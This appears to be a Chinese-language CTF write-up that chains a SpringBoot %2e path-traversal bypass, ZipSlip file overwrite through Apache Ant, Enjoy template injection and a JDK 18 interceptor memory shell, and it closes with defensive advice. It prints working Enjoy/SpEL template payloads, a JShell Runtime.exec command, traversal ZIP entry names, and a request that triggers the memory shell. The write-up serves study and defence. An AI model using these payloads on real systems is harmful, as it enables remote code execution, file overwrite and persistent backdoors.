从一道赛题学习zipSlip到Enjoy的SSTI
字数 4221
更新时间 2026-03-18 14:01:02
从一道CTF赛题学习ZipSlip漏洞与Enjoy模板注入技术
0x01 赛题核心考点分析
本题是一道综合性CTF题目,涵盖多个安全漏洞与利用技巧,主要包含以下四个考点:
- SpringBoot特定版本的路径遍历绕过技巧:利用
%2e(.的URL编码)绕过拦截器对..的拦截,适用于SpringBoot版本 ≤ 2.3.0.RELEASE。 - Apache Ant组件的ZipSlip漏洞:利用
org.apache.ant组件在解压ZIP文件时未正确验证压缩包内条目路径的安全性,实现跨目录文件写入。 - Enjoy国产模板引擎注入:利用Enjoy模板引擎默认暴露的
springMacroRequestContext对象,结合Spring上下文进行远程代码执行。 - JDK 18高版本环境下的内存马植入:在JDK 9及以上版本引入的模块化(Module)安全机制下,实现拦截器内存马的注入与利用。
0x02 解题思路与技术细节详解
一、 环境与代码分析
1. 应用配置
- 应用端口:
9124 - 关键路径配置:
file.upload.path=/usr/src/app/upload(文件上传路径)file.download.path=/usr/src/app/upload(文件下载路径)template.path=/usr/src/app/template(模板文件路径)
- 模板引擎:使用JFinal Enjoy,模板文件位置位于JAR包外部(
template.path),这意味着模板文件可被覆盖。
2. 关键路由与功能
/admin/upload:ZIP文件上传与解压功能点,存在ZipSlip漏洞和跨目录文件上传风险。/index:任意文件下载功能,但过滤了文件名包含flag和proc的请求,因此无法直接获取flag。/admin/hello:返回的视图由JAR包外的模板文件渲染,该模板文件可被覆盖。
3. 安全防护与绕过
- 拦截器:
UserInterceptor拦截了/admin/*下所有路径,并对路径中的..和./进行了过滤。 - 绕过方法:在SpringBoot ≤ 2.3.0.RELEASE版本中,可使用
%2e%2e(即..的URL编码形式)绕过该拦截器的路径遍历过滤,从而直接访问/admin/upload等受保护路由。例如,访问路径为:/index/%2e%2e/admin/upload。
二、 ZipSlip漏洞利用
1. 漏洞原理
题目环境中使用了org.apache.ant:1.9.11组件进行ZIP解压。该组件存在经典的ZipSlip漏洞。攻击者可以构造一个特殊的ZIP压缩包,其中包含的条目(Entry)文件名包含目录遍历序列(如../../../或./../)。虽然后端代码可能过滤了以../开头的文件名,但可利用./进行绕过(例如:./../../template/admin/hello.html)。当服务端解压此类压缩包时,会将该条目文件解压到文件名指定的穿越目录路径,造成任意文件覆盖。
2. 漏洞利用步骤
- 制作恶意压缩包:
- 可以使用
spring-integration-zip工具或woodpecker插件的zip-tools模块来生成恶意ZIP文件。 - 核心是设置ZIP条目的文件名(
ZipHeaders.ZIP_ENTRY_FILE_NAME)为带有目录穿越序列的路径,例如:./../../template/admin/hello.html。这将导致上传的ZIP包中的文件被解压并覆盖目标模板文件。
- 可以使用
- 目录穿越上传:除了修改压缩包内条目名,还可通过修改上传表单的
filename字段为../template/admin.zip,直接将整个压缩包上传到目标template目录,更为直接。 - 利用目标:覆盖
/usr/src/app/template/admin/目录下的模板文件(如hello.html),为后续的模板注入准备恶意模板。
三、 Enjoy模板引擎注入(SSTI)与RCE
1. 注入点与前置条件
- 注入点:覆盖后的模板文件(如
hello.html)在被/admin/hello路由渲染时执行。 - 关键对象暴露:在Enjoy 5.1.2版本中,
JFinalViewResolver默认配置了setExposeSpringMacroHelpers(true),导致springMacroRequestContext对象在模板上下文中可被访问。这是注入的前提。
2. 利用链构建(方法一)
由于Enjoy 5.1.2版本在模板扫描阶段就禁止了静态方法调用,因此无法直接复现FreeMarker中“开启静态方法开关再调用”的利用链。文档中展示的利用链如下:
- 获取Spring上下文:
#set(applicationContext = springMacroRequestContext.webApplicationContext) - 获取可利用的Bean:从上下文中获取
org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory这个Bean。该Bean的resourceLoader属性持有ClassLoader。#set(cachingMetadataReaderFactory = applicationContext.getBean('org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory')) - 利用ClassLoader加载任意类:通过
cachingMetadataReaderFactory.resourceLoader.classLoader加载目标类。此处选择加载org.springframework.expression.spel.standard.SpelExpressionParser。#set(clazz = cachingMetadataReaderFactory.resourceLoader.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser")) - 实例化类并执行SpEL表达式:利用Spring容器中已有的
jacksonObjectMapper来反序列化一个空JSON对象{}到上一步加载的SpelExpressionParser类,从而获得该类的实例。最后,通过该实例解析并执行SpEL表达式来加载并实例化内存马。#set(instance = applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz)) #(instance.parseExpression("T(java.net.URLClassLoader).newInstance(new java.net.URL[]{new java.net.URL('file:////usr/src/app/upload/SpringInterceptorMemShell')}).loadClass('SpringInterceptorMemShell').newInstance()").getValue())- SpEL表达式的作用是:创建一个
URLClassLoader,加载位于/usr/src/app/upload/SpringInterceptorMemShell路径的内存马字节码文件,并实例化它。
- SpEL表达式的作用是:创建一个
3. 利用链构建(方法二 - 赛后其他思路)
- 方法A:模板文件包含:直接利用Enjoy的
#include指令读取flag文件。#include("../../filename") // 假设flag文件路径已知 - 方法B:分步开启静态方法调用:
- 第一个模板:通过
springMacroRequestContext获取jfinalViewResolver的engine,并开启静态方法调用。#(springMacroRequestContext.webApplicationContext.getBean('jfinalViewResolver').engine.setStaticMethodExpression(true)) - 第二个模板:在静态方法调用开启后,利用JShell执行系统命令。(适用于JDK高版本)
#((jdk.jshell.JShell::create()).eval('Runtime.getRuntime().exec(new String[]{"bash", "-c", "cat /flag > /tmp/test.txt"});'))
- 第一个模板:通过
四、 JDK 18高版本内存马
由于题目环境是JDK 18,需要绕过Java的模块访问限制。内存马的核心是一个实现了AsyncHandlerInterceptor接口的拦截器Log4jConfigZfjfInterceptor。
1. 内存马功能
- 拦截HTTP请求,检查请求头
x-client-data是否等于"cmd"。 - 如果匹配,则从请求头
cmd中读取命令。 - 根据操作系统执行该命令,并将命令执行结果写入HTTP响应中返回。
- 内存马代码中使用了反射、Unsafe等机制来绕过模块访问控制,确保在JDK高版本下能正常执行。
2. 内存马植入流程
- 将内存马Java源码编译成类文件。
- 将编译后的类文件(
SpringInterceptorMemShell)通过任意方式(例如利用之前的任意文件下载或上传漏洞)放置到服务器可访问路径,如/usr/src/app/upload/。 - 通过Enjoy模板注入执行SpEL表达式,利用
URLClassLoader动态加载并实例化这个类,从而将内存马注入到Spring上下文中。
五、 完整攻击流程复现
- 信息收集与绕过:确认SpringBoot版本≤2.3.0,使用
/index/%2e%2e/admin/upload路径绕过拦截器访问上传接口。 - 文件上传与覆盖:
- 制作恶意ZIP文件,其内部文件路径为
./../../template/admin/hello.html,文件内容为上述Enjoy模板注入的Payload(方法一或方法二)。 - 将恶意ZIP文件上传,利用Ant的ZipSlip漏洞覆盖
hello.html模板。
- 制作恶意ZIP文件,其内部文件路径为
- 上传内存马字节码:将编译好的内存马类文件
SpringInterceptorMemShell上传至服务器指定目录(如/usr/src/app/upload/)。 - 触发模板注入:访问
/index/%2e%2e/admin/hello路由,触发被覆盖的hello.html模板渲染,执行模板中的恶意代码,完成SpEL表达式解析、内存马加载与实例化。 - 连接内存马:向应用发送带有特定请求头的HTTP请求,即可实现命令执行。
GET /any/path HTTP/1.1 Host: target.com x-client-data: cmd cmd: id
0x03 总结与防御建议
漏洞链总结:
%2e路径遍历绕过 → ZipSlip任意文件覆盖 → Enjoy SSTI(利用默认暴露的springMacroRequestContext) → 高版本JDK内存马植入。
防御建议:
- 升级与补丁:及时升级SpringBoot、Apache Ant等组件至安全版本。
- 安全解压:对ZIP解压库,应使用安全版本,并在代码层面对压缩包内每个条目名进行规范化(canonicalize)后,严格检查是否包含路径遍历字符,确保解压路径在预期目录内。
- 模板引擎安全配置:对于Enjoy模板引擎,应显式配置
JFinalViewResolver的setExposeSpringMacroHelpers(false),避免springMacroRequestContext等Spring内部对象暴露到模板层。 - 输入过滤与校验:对所有用户可控的输入(如URL路径、文件名、请求参数)进行严格的校验和过滤。
- 最小权限原则:运行Web服务的操作系统账户应具有最小必要权限,限制其对系统关键目录的写权限。
相似文章
相似文章